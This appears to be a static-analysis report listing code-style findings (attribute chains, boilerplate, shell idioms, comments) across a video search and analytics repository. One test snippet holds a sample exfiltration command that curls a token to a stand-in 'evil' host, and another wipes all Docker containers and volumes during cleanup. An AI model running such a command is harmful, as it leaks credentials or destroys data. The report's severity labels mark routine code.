CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	7250	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	7580	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	7910	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	8240	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	10962	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	11120	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	11783	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	14373	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	14703	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL	…ns/input/redis-stream/src/main/java/nv/schema/Ext.java	16320	com.google.protobuf.AbstractMessageLite.Builder.addAll(	CODE
CRITICAL⚡	…t_test/knowledge_retrieval/test_llama_index_adapter.py	211	fake_llama_index.vector_store_index_cls.from_vector_store.return_value.as_retriever.assert_called_with(	CODE
CRITICAL	…t_test/knowledge_retrieval/test_llama_index_adapter.py	308	fake_llama_index.vector_store_index_cls.from_vector_store.return_value.as_retriever.assert_called_with(	CODE
CRITICAL⚡	libs/vss/core/src/vss_core/introspection/models.py	263	record_start = record.input.window.start.timestamp.astimezone(UTC)	CODE
CRITICAL⚡	libs/vss/core/src/vss_core/introspection/models.py	265	record.input.window.end.timestamp.astimezone(UTC) if record.input.window.end is not None else record_start	CODE
CRITICAL⚡	libs/vss/cli/tests/unit_test/cli/test_vlm_group.py	1474	assert rec.input.window.start.timestamp.isoformat().startswith("2025-01-01T00:00:00")	CODE
CRITICAL⚡	libs/vss/cli/tests/unit_test/cli/test_vlm_group.py	1476	assert rec.input.window.end.timestamp.isoformat().startswith("2025-01-01T00:00:30")	CODE
CRITICAL	libs/vss/cli/src/vss_cli/memory.py	180	return (0, record.input.window.start.timestamp.isoformat())	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	163	<strong>W1:</strong> X: {reversedTripwireResults.worldCoords.wire.p1.x.toFix	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	164	{reversedTripwireResults.worldCoords.wire.p1.y.toFixed(3)}	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	167	<strong>W2:</strong> X: {reversedTripwireResults.worldCoords.wire.p2.x.toFix	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	168	{reversedTripwireResults.worldCoords.wire.p2.y.toFixed(3)}	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	179	<strong>D1:</strong> X: {reversedTripwireResults.worldCoords.directi	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	180	Y: {reversedTripwireResults.worldCoords.direction.p1.y.toFixed(3)}	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	183	<strong>D2:</strong> X: {reversedTripwireResults.worldCoords.directi	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	184	Y: {reversedTripwireResults.worldCoords.direction.p2.y.toFixed(3)}	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	210	<strong>W1:</strong> X: {reversedTripwireResults.imageCoords.wire.p1.x.toFix	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	211	{reversedTripwireResults.imageCoords.wire.p1.y.toFixed(2)}	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	214	<strong>W2:</strong> X: {reversedTripwireResults.imageCoords.wire.p2.x.toFix	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	215	{reversedTripwireResults.imageCoords.wire.p2.y.toFixed(2)}	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	226	<strong>D1:</strong> X: {reversedTripwireResults.imageCoords.directi	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	227	Y: {reversedTripwireResults.imageCoords.direction.p1.y.toFixed(2)}	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	230	<strong>D2:</strong> X: {reversedTripwireResults.imageCoords.directi	CODE
CRITICAL⚡	…s/analyticsComponents/ReverseTransformationResults.tsx	231	Y: {reversedTripwireResults.imageCoords.direction.p2.y.toFixed(2)}	CODE
CRITICAL	…ices/alert/test/unit/test_default_system_prompt_e2e.py	246	vlm.client.chat.completions.create.assert_not_called()	CODE
CRITICAL⚡	services/alert/test/unit/vlm/test_vlm_client_payload.py	489	extra = client.client.chat.completions.create.call_args.kwargs.get("extra_body", {})	CODE
CRITICAL	services/alert/test/unit/api/test_incident_service.py	691	assert mock_es_client.client.search.call_args.kwargs.get("track_total_hits") is True	CODE
CRITICAL	…/behavior-analytics/docs/building-mdx-analytics-app.md	242	The `mdx.analytics.core.app.app_runner.run()` function supports these arguments:	CODE
CRITICAL	…eo-analytics-api/src/web-api-core/Metrics/Occupancy.js	569	queryBody.aggs.fov.aggs.searchAggFilter.filter.bool.filter.push({	CODE
CRITICAL	…eo-analytics-api/src/web-api-core/Metrics/Occupancy.js	704	queryBody.aggs.eventsOverTime.aggs.fov.aggs.searchAggFilter.filter.bool.filter.push({	CODE
CRITICAL	…eo-analytics-api/src/web-api-core/Metrics/Occupancy.js	974	queryBody.aggs.rois.aggs.searchAggFilter.filter.bool.filter.push({	CODE
CRITICAL	…eo-analytics-api/src/web-api-core/Metrics/Occupancy.js	979	queryBody.aggs.rois.aggs.searchAggFilter.filter.bool.filter.push({	CODE
CRITICAL	…eo-analytics-api/src/web-api-core/Metrics/Occupancy.js	1154	queryBody.aggs.eventsOverTime.aggs.rois.aggs.searchAggFilter.filter.bool.filter.push({	CODE
CRITICAL	…eo-analytics-api/src/web-api-core/Metrics/Occupancy.js	1159	queryBody.aggs.eventsOverTime.aggs.rois.aggs.searchAggFilter.filter.bool.filter.push({	CODE
CRITICAL⚡	…-analytics-api/src/web-api-core/Services/Clustering.js	207	queryBody.query.function_score.query.bool.must.push({ exists: { field: "info.cluster.index" } });	CODE
CRITICAL⚡	…-analytics-api/src/web-api-core/Services/Clustering.js	208	queryBody.query.function_score.query.bool.must.push({ term: { "sensor.id.keyword": sensorId } });	CODE
CRITICAL⚡	…-analytics-api/src/web-api-core/Services/Clustering.js	209	queryBody.query.function_score.query.bool.must.push({ range: { timestamp: { lte: toTimestamp } } });	CODE
CRITICAL⚡	…-analytics-api/src/web-api-core/Services/Clustering.js	210	queryBody.query.function_score.query.bool.must.push({ range: { end: { gte: fromTimestamp } } });	CODE
CRITICAL⚡	…-analytics-api/src/web-api-core/Services/Clustering.js	211	queryBody.query.function_score.query.bool.must.push({ term: { "info.cluster.modelVersion.keyword": modelVersion	CODE
CRITICAL⚡	…-analytics-api/src/web-api-core/Services/Clustering.js	212	queryBody.query.function_score.query.bool.must.push({ range: { distance: { gte: minBehaviorDistance } } });	CODE
CRITICAL⚡	…-analytics-api/src/web-api-core/Services/Clustering.js	214	queryBody.query.function_score.query.bool.must.push({ term: { "info.cluster.index.keyword": clusterIndex } }	CODE
1 more matches not shown…

Modern Structural Boilerplate602 hits · 608 pts

Severity	File	Line	Snippet	Context
LOW	tools/message-broker-consumers/redis_to_file.py	35	logger = logging.getLogger(__name__)	CODE
LOW	tools/message-broker-consumers/kafka_to_file.py	35	logger = logging.getLogger(__name__)	CODE
LOW	tools/message-broker-consumers/base_consumer.py	41	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/sitecustomize.py	26	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/vss_core/memory/store.py	206	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/memory/service.py	32	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/vss_core/memory/service.py	753	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/memory/models.py	307	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/memory/__init__.py	19	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/memory/notes.py	258	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/memory/embeddings.py	278	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/memory/backfill.py	119	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/memory/adapters.py	384	__all__ = [	CODE
LOW	…vss/core/src/vss_core/memory/backends/elasticsearch.py	42	logger = logging.getLogger(__name__)	CODE
LOW	…vss/core/src/vss_core/memory/backends/elasticsearch.py	370	__all__ = ["DEFAULT_MEMORY_INDEX", "ElasticsearchMemoryStore"]	CODE
LOW	…c/vss_core/memory/backends/elasticsearch_embeddings.py	551	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/memory/backends/in_memory.py	180	__all__ = ["InMemoryStore"]	CODE
LOW	libs/vss/core/src/vss_core/vios/client.py	51	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/vss_core/vios/__init__.py	41	__all__ = [	CODE
LOW⚡	libs/vss/core/src/vss_core/introspection/models.py	270	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/introspection/protocols.py	49	__all__ = ["AnswerSynthesizer", "IntrospectionVLMRunner", "SufficiencyJudge"]	CODE
LOW	libs/vss/core/src/vss_core/introspection/__init__.py	11	__all__ = [	CODE
LOW	…bs/vss/core/src/vss_core/introspection/orchestrator.py	373	__all__ = ["introspect"]	CODE
LOW	libs/vss/core/src/vss_core/introspection/judge.py	278	__all__ = ["InvalidJudgeResponseError", "OpenAIIntrospectionClient"]	CODE
LOW	libs/vss/core/src/vss_core/_foundation/__init__.py	9	__all__ = ["BackendUnreachableError", "ConfigurationError", "LibraryError"]	CODE
LOW	libs/vss/core/src/vss_core/_foundation/retry.py	27	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/vss_core/_foundation/time_measure.py	33	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/vss_core/vlm/__init__.py	9	__all__ = ["OpenAIVLMAnalyzer", "VLMAnalyzer", "bound_rt_vlm_fps_sampling"]	CODE
LOW	libs/vss/core/src/vss_core/vlm/openai.py	37	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/vss_core/knowledge/__init__.py	25	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/knowledge/factory.py	30	logger = logging.getLogger(__name__)	CODE
LOW	…s/core/src/vss_core/knowledge/adapters/arango_graph.py	41	logger = logging.getLogger(__name__)	CODE
LOW	…ss/core/src/vss_core/knowledge/adapters/llama_index.py	41	logger = logging.getLogger(__name__)	CODE
LOW	…s/vss/core/src/vss_core/knowledge/adapters/frag_api.py	40	logger = logging.getLogger(__name__)	CODE
LOW	…vss/core/src/vss_core/knowledge/adapters/es_caption.py	47	logger = logging.getLogger(__name__)	CODE
LOW	…/vss/core/src/vss_core/knowledge/adapters/langchain.py	42	logger = logging.getLogger(__name__)	CODE
LOW	…s/vss/core/src/vss_core/knowledge/adapters/frag_lib.py	43	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/vss_core/search_core/host.py	56	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/vss_core/search_core/__init__.py	38	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/search_core/errors.py	28	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/search_core/critic.py	59	logger = logging.getLogger(__name__)	CODE
LOW	…/core/src/vss_core/search_core/clients/cosmos_embed.py	40	logger = logging.getLogger(__name__)	CODE
LOW	…core/src/vss_core/search_core/clients/rtvi_cv_embed.py	37	logger = logging.getLogger(__name__)	CODE
LOW	…/vss/core/src/vss_core/search_core/clients/__init__.py	27	__all__ = [	CODE
LOW	…s/vss/core/src/vss_core/search_core/clients/elastic.py	57	logger = logging.getLogger(__name__)	CODE
LOW	…ore/src/vss_core/search_core/_internal/time_measure.py	28	__all__ = ["LOG_PERF_LEVEL", "LOG_STATUS_LEVEL", "TimeMeasure", "collect_timings"]	CODE
LOW	…s/vss/core/src/vss_core/search_core/models/__init__.py	35	__all__ = [	CODE
LOW	…/vss_core/search_core/primitives/_attribute_helpers.py	65	logger = logging.getLogger(__name__)	CODE
LOW	…rc/vss_core/search_core/primitives/attribute_search.py	37	logger = logging.getLogger(__name__)	CODE
LOW⚡	…ss/core/src/vss_core/search_core/primitives/_fusion.py	48	logger = logging.getLogger(__name__)	CODE
LOW	…re/src/vss_core/search_core/primitives/embed_search.py	63	logger = logging.getLogger(__name__)	CODE
LOW	…s/core/src/vss_core/search_core/primitives/__init__.py	27	__all__ = ["AttributeSearch", "EmbedSearch", "Search", "TagSearch"]	CODE
LOW	…src/vss_core/search_core/primitives/_search_helpers.py	75	logger = logging.getLogger(__name__)	CODE
LOW	…core/src/vss_core/search_core/primitives/tag_search.py	43	logger = logging.getLogger(__name__)	CODE
LOW	libs/vss/core/src/vss_core/analytics/client.py	490	__all__ = [	CODE
LOW	libs/vss/core/src/vss_core/analytics/__init__.py	11	__all__ = [	CODE
LOW	libs/vss/cli/src/vss_cli/memory_notes.py	34	__all__ = ["write"]	CODE
LOW	libs/vss/cli/src/vss_cli/memory_cmd.py	41	def set_test_memory(memory: Memory \| None) -> None:	CODE
LOW	libs/vss/cli/src/vss_cli/memory_cmd.py	471	__all__ = ["MEMORY", "memory", "set_test_introspect", "set_test_memory"]	CODE
LOW	libs/vss/cli/src/vss_cli/persistence.py	50	__all__ = ["mark_terminal"]	CODE
542 more matches not shown…

Cross-Language Confusion110 hits · 600 pts

Severity	File	Line	Snippet	Context
HIGH	deploy/docker/services/agent/search_prompt_policy.py	26	{{"timestamp_start": null, "timestamp_end": null}}."""	CODE
HIGH⚡	deploy/tests/test_search_prompt_policy.py	96	assert '{"timestamp_start": null, "timestamp_end": null}' in rendered	CODE
HIGH	…ofile-search/configs/vss-agent/search_prompt_policy.py	26	{{"timestamp_start": null, "timestamp_end": null}}."""	CODE
HIGH	…/vss_core/search_core/primitives/_attribute_helpers.py	477	" if (obj.id == params.target_id && obj.containsKey('embedding') && obj.embedding.containsKey('vector'))	CODE
HIGH	…/vss_core/search_core/primitives/_attribute_helpers.py	487	" if (normA > 0 && normB > 0) { "	CODE
HIGH	…/src/vss_core/search_core/primitives/_embed_helpers.py	370	# absent, null, or (rarely) a non-string, none of which should crash mapping.	COMMENT
HIGH	…sts/unit_test/cli/test_search_verification_contract.py	569	count=$(cat "${CURL_COUNT}" 2>/dev/null \|\| printf '0')	CODE
HIGH	libs/vss/cli/src/vss_cli/params.py	151	defaults with null, so an unspecified flag must be absent, not empty.	STRING
HIGH	libs/vss/cli/src/vss_cli/summarize/group.py	121	request rather than sent as null, so the backend's own defaults apply.	STRING
HIGH⚡	…-data-utils/tests/loaders/test_calibration_variants.py	122	(catches malformed exports — e.g. ``sensors: [null]``)."""	STRING
HIGH	.openclaw/tests/test_runtime_instructions.py	236	if (!baseline.wrapped \|\| configured.wrapped \|\| configured.command !== '/bin/bash') {	CODE
HIGH⚡	.github/osrb/test_osrb_agent.py	792	"curl https://pypi.org/x && curl https://evil/$(cat token)",	CODE
HIGH	…b/skill-eval/tests/test_vss_summarize_eval_contract.py	467	assert guarded.count("return 1 2>/dev/null \|\| exit 1") == 2	CODE
HIGH	…/adapters/vss-deploy-detection-tracking-2d/generate.py	127	" curl -sf --max-time 2 http://localhost:9000/api/v1/ready >/dev/null 2>&1 && break\n"	CODE
HIGH	…/adapters/vss-deploy-detection-tracking-2d/generate.py	170	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH	.github/skill-eval/adapters/vss-ask-video/generate.py	132	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH	.github/skill-eval/adapters/vss-ask-video/generate.py	150	'command -v vss >/dev/null \|\| uv tool install "${VSS_REPO_ROOT:-$HOME/video-search-and-summarization}/libs/vss/c	CODE
HIGH	…ub/skill-eval/adapters/vss-query-analytics/generate.py	117	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH	…ub/skill-eval/adapters/vss-query-analytics/generate.py	136	'command -v vss >/dev/null \|\| uv tool install "$REPO/libs/vss/cli"\n'	CODE
HIGH	…ill-eval/adapters/profile-vllm-performance/generate.py	27	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n\n"	CODE
HIGH	…ub/skill-eval/adapters/vss-build-vision-ai/generate.py	158	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH⚡	…ub/skill-eval/adapters/vss-summarize-video/generate.py	113	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH	…al/adapters/vss-generate-video-calibration/generate.py	107	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH⚡	…eval/adapters/vss-setup-behavior-analytics/generate.py	156	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH⚡	…eval/adapters/vss-setup-behavior-analytics/generate.py	236	" \| grep -qx vss-behavior-analytics && break\n"	CODE
HIGH	…eval/adapters/vss-setup-behavior-analytics/generate.py	186	"if ! command -v docker &>/dev/null; then\n"	CODE
HIGH	…eval/adapters/vss-setup-behavior-analytics/generate.py	192	" docker login nvcr.io -u '\\$oauthtoken' -p \"$NGC_CLI_API_KEY\" 2>/dev/null \|\| true\n"	CODE
HIGH⚡	…thub/skill-eval/adapters/vss-manage-alerts/generate.py	166	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH	…-eval/adapters/vss-manage-video-io-storage/generate.py	76	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH	…-eval/adapters/vss-deploy-dense-captioning/generate.py	150	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH⚡	…val/adapters/vss-setup-video-analytics-api/generate.py	179	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH⚡	…val/adapters/vss-setup-video-analytics-api/generate.py	265	" curl -sf --max-time 5 http://localhost:8081/livez >/dev/null 2>&1 && break\n"	CODE
HIGH⚡	…val/adapters/vss-setup-video-analytics-api/generate.py	268	'curl -sf --max-time 15 http://localhost:8081/livez && echo "OK" \|\| echo "DOWN"\n'	CODE
HIGH	…val/adapters/vss-setup-video-analytics-api/generate.py	209	"if ! command -v docker &>/dev/null; then\n"	CODE
HIGH	…val/adapters/vss-setup-video-analytics-api/generate.py	215	" docker login nvcr.io -u '\\$oauthtoken' -p \"$NGC_CLI_API_KEY\" 2>/dev/null \|\| true\n"	CODE
HIGH	…val/adapters/vss-setup-video-analytics-api/generate.py	251	" curl -sf --max-time 5 http://localhost:9200/_cluster/health >/dev/null 2>&1 && break\n"	CODE
HIGH	…ll-eval/adapters/vss-generate-video-report/generate.py	110	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH	…/adapters/vss-deploy-detection-tracking-3d/generate.py	152	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH	…l-eval/adapters/vss-deploy-video-embedding/generate.py	144	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	CODE
HIGH	…l-eval/adapters/vss-deploy-video-embedding/generate.py	178	"if ! command -v docker &>/dev/null; then",	CODE
HIGH	…l-eval/adapters/vss-deploy-video-embedding/generate.py	184	" docker login nvcr.io -u '\\$oauthtoken' -p \"$NGC_CLI_API_KEY\" 2>/dev/null \|\| true",	CODE
HIGH	…l-eval/adapters/vss-deploy-video-embedding/generate.py	239	" curl -sf --max-time 5 http://localhost:8017/v1/ready >/dev/null 2>&1 && break",	CODE
HIGH	…hub/skill-eval/adapters/vss-search-archive/generate.py	232	CONFIG_JSON=$(vss configure show 2>/dev/null) \|\| { echo "vss not configured — cannot verify fixture indexing" >&2; exit	CODE
HIGH	…hub/skill-eval/adapters/vss-search-archive/generate.py	248	SENSORS=$(bounded_vios_list 2>/dev/null) \|\| { echo "vss vios list failed or exceeded fixture deadline" >&2; exit 1; }	CODE
HIGH	…hub/skill-eval/adapters/vss-search-archive/generate.py	256	(( SAMPLE_EMBED > 0 && LADDER_EMBED > 0 && LADDER_BEHAVIOR > 0 && LADDER_RAW > 0 )); then	CODE
HIGH⚡	…hub/skill-eval/adapters/vss-search-archive/generate.py	269	vss configure --base-url "${BASE_URL}" >/dev/null 2>&1 \|\| exit 1	CODE
HIGH⚡	…hub/skill-eval/adapters/vss-search-archive/generate.py	271	printf '%s' "${CONFIG_JSON}" \| jq -e --arg a "${EMBED_IDX}" --arg b "${BEHAV_IDX}" --arg c "${RAW_IDX}" '[.services.elas	CODE
HIGH⚡	…hub/skill-eval/adapters/vss-search-archive/generate.py	271	printf '%s' "${CONFIG_JSON}" \| jq -e --arg a "${EMBED_IDX}" --arg b "${BEHAV_IDX}" --arg c "${RAW_IDX}" '[.services.elas	CODE
HIGH	…hub/skill-eval/adapters/vss-search-archive/generate.py	285	SENSORS=$(bounded_vios_list 2>/dev/null) \|\| { echo "vss vios list failed or exceeded fixture deadline" >&2; exit 1; }	CODE
HIGH	…hub/skill-eval/adapters/vss-search-archive/generate.py	291	(( LADDER_EMBED == 0 && LADDER_BEHAVIOR == 0 && LADDER_RAW == 0 )); then	CODE
HIGH	…hub/skill-eval/adapters/vss-search-archive/generate.py	333	"python3 -m pip install --quiet 'anthropic>=0.40.0' >/dev/null 2>&1 \|\| true\n"	STRING
HIGH	…hub/skill-eval/adapters/vss-search-archive/generate.py	354	'command -v vss >/dev/null \|\| uv tool install "${VSS_REPO_ROOT}/libs/vss/cli"\n'	CODE
HIGH	…hub/skill-eval/adapters/vss-search-archive/generate.py	383	'command -v vss >/dev/null \|\| uv tool install "${VSS_REPO_ROOT}/libs/vss/cli"\n'	CODE
HIGH⚡	.github/skill-eval/envs/mount_probe.py	95	for cid in $(docker ps -q 2>/dev/null); do	CODE
HIGH⚡	.github/skill-eval/envs/mount_probe.py	103	if [ -d "$src" ]; then srcex=1; hi=$(stat -Lc '%i' "$src" 2>/dev/null); else srcex=0; hi=; fi	CODE
HIGH⚡	.github/skill-eval/envs/mount_probe.py	104	ci=$(docker exec "$cid" stat -Lc '%i' "$dst" 2>/dev/null)	CODE
HIGH⚡	.github/skill-eval/envs/mount_probe.py	105	cl=$(docker exec "$cid" stat -Lc '%h' "$dst" 2>/dev/null)	CODE
HIGH⚡	.github/skill-eval/envs/mount_probe.py	106	if docker exec "$cid" test -w "$dst" 2>/dev/null; then w=1; else w=0; fi	CODE
HIGH⚡	.github/skill-eval/envs/brev_env.py	741	cids=$(docker ps -aq); [ -n "$cids" ] && docker rm -f $cids >/dev/null 2>&1 \|\| true	CODE
HIGH⚡	.github/skill-eval/envs/brev_env.py	742	vols=$(docker volume ls -q); [ -n "$vols" ] && docker volume rm -f $vols >/dev/null 2>&1 \|\| true	CODE
50 more matches not shown…

Self-Referential Comments204 hits · 502 pts

Severity	File	Line	Snippet	Context
MEDIUM	tools/rtvi-cv-mv3dt-utils/generate_pub_sub_configs.py	39	# Create the mask	COMMENT
MEDIUM	…files/dev-profile-base/eval/eval_output_json_to_csv.sh	79	# Create a lookup map from workflow: id -> query	COMMENT
MEDIUM	deploy/docker/services/rtvi/rtvi-cv/download-models.sh	123	# This function is called through command substitution. Keep NGC's progress and	COMMENT
MEDIUM	…oy/docker/services/infra/elk/kibana/configs/kibana.yml	3	# This file is provided under your choice of: (a) the Server Side Public License v1 (SSPLv1); or (b) the GNU Affero Gene	COMMENT
MEDIUM	…ervices/infra/elk/logstash/configs/pipelines-redis.yml	3	# This file is provided under Apache-2.0 License.	COMMENT
MEDIUM	…ervices/infra/elk/logstash/configs/pipelines-redis.yml	5	# This file is where you define your pipelines. You can define multiple.	COMMENT
MEDIUM	…ervices/infra/elk/logstash/configs/pipelines-kafka.yml	3	# This file is provided under Apache-2.0 License.	COMMENT
MEDIUM	…ervices/infra/elk/logstash/configs/pipelines-kafka.yml	5	# This file is where you define your pipelines. You can define multiple.	COMMENT
MEDIUM	…ocker/services/infra/elk/logstash/configs/logstash.yml	3	# This file is provided under Apache-2.0 License.	COMMENT
MEDIUM	…ices/infra/elk/elasticsearch/configs/elasticsearch.yml	3	# This file is provided under your choice of: (a) the Server Side Public License v1 (SSPLv1); or (b) the GNU Affero Gene	COMMENT
MEDIUM	…/services/rtvi/charts/rtvi-cv/files/download-models.sh	123	# This function is called through command substitution. Keep NGC's progress and	COMMENT
MEDIUM⚡	libs/vss/core/tests/unit_test/test_sitecustomize.py	44	# Create a temporary .env file	COMMENT
MEDIUM⚡	libs/vss/core/tests/unit_test/test_sitecustomize.py	90	# Create a temp .env file	COMMENT
MEDIUM⚡	libs/vss/core/tests/unit_test/test_sitecustomize.py	94	# Create the pointer file	COMMENT
MEDIUM	…ta-utils/spatialai_data_utils/core/cameras/grouping.py	512	# Create a local RNG when randomization is enabled.	COMMENT
MEDIUM	…a-utils/spatialai_data_utils/core/cameras/filtering.py	226	# Create a copy of the object	COMMENT
MEDIUM	…a-utils/spatialai_data_utils/core/cameras/filtering.py	295	# Create a filtered copy of calibration data	COMMENT
MEDIUM	…ata-utils/spatialai_data_utils/core/cameras/polygon.py	179	# Create a list of heights to check	COMMENT
MEDIUM	…ai-data-utils/spatialai_data_utils/core/cameras/bev.py	325	# Create a dedicated subfolder for visualization files	COMMENT
MEDIUM	…ai-data-utils/spatialai_data_utils/core/cameras/bev.py	713	# Create a dedicated subfolder for visualization files	COMMENT
MEDIUM	…ai-data-utils/spatialai_data_utils/core/cameras/bev.py	1072	# Create a dedicated subfolder for visualization files	COMMENT
MEDIUM	…data-utils/spatialai_data_utils/core/cameras/origin.py	399	# Create a temporary dict mapping sensor index to sensor data	COMMENT
MEDIUM	…alai_data_utils/converters/nusc_results_to_nvschema.py	80	# Create a separate output for each BEV group	COMMENT
MEDIUM	…ata_utils/eval/tracking/hota/datasets/_base_dataset.py	442	# Define the local corners of a "unit" box with the correct corner ordering:	COMMENT
MEDIUM	…-data-utils/tests/core/cameras/test_camera_grouping.py	1493	# Create a known group	COMMENT
MEDIUM⚡	…tialai-data-utils/tests/utils/test_filesystem_utils.py	28	# Create a path with allowed characters	COMMENT
MEDIUM	.github/osrb/test_osrb_scan.py	1064	lock = b'''# This file is generated by running "yarn install"	STRING
MEDIUM	…king/vss-benchmark-video-summarization/scripts/base.py	810	# Create a unique label for each test case and metric combination	COMMENT
MEDIUM	services/ui/create-third-party-deps-tar.sh	5	# Create a timestamped tarball of 3rd-party npm dependency source for packages whose	COMMENT
MEDIUM	services/rtvi/rt-embed/src/server/rtvi_embed_server.py	2137	# Create the response json	COMMENT
MEDIUM	services/rtvi/rt-embed/src/server/rtvi_embed_server.py	2188	# Create the response json	COMMENT
MEDIUM	…rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py	2968	# Create a lookup dictionary for saved responses by chunk index	COMMENT
MEDIUM	…rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py	3067	# Create a RequestInfo object and populate it	COMMENT
MEDIUM	…rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py	3165	# Create a RequestInfo object and populate it for VLM captions	COMMENT
MEDIUM	services/rtvi/rt-embed/src/utils/file_splitter.py	237	# Create the Gstreamer pipeline	COMMENT
MEDIUM	…rtvi/rt-embed/src/vlm_pipeline/ngc_model_downloader.py	60	# Create a NGC client and authenticate with NGC	COMMENT
MEDIUM⚡	…i/rt-embed/src/vlm_pipeline/video_file_frame_getter.py	3074	# Create a flag to track completion	COMMENT
MEDIUM	…i/rt-embed/src/vlm_pipeline/video_file_frame_getter.py	1752	# Create a tee to split the video stream	COMMENT
MEDIUM	services/rtvi/rt-embed/src/vlm_pipeline/vlm_pipeline.py	1559	# Create the ASR processes	COMMENT
MEDIUM	services/rtvi/rt-embed/src/vlm_pipeline/vlm_pipeline.py	1607	# Create the VLM processes, one on each GPU	COMMENT
MEDIUM	services/rtvi/rt-embed/src/vlm_pipeline/vlm_pipeline.py	1647	# Create the chunk decoding processes, one on each GPU	COMMENT
MEDIUM	services/rtvi/rt-embed/src/vlm_pipeline/vlm_pipeline.py	1667	# Create a thread to gather chunks processed by the VLM pipeline	COMMENT
MEDIUM	…tches/evs_vllm_public_files/v1/core/sched/scheduler.py	245	# Create the KV cache manager.	COMMENT
MEDIUM	…/patches/evs_vllm_public_files/v1/worker/gpu_worker.py	789	# Create the profiler wrapper only on the first start call	COMMENT
MEDIUM	…m/patches/evs_vllm_public_files/v1/engine/async_llm.py	228	# Create the LLMEngine.	COMMENT
MEDIUM	…m/patches/evs_vllm_public_files/v1/engine/async_llm.py	253	# Create the engine configs.	COMMENT
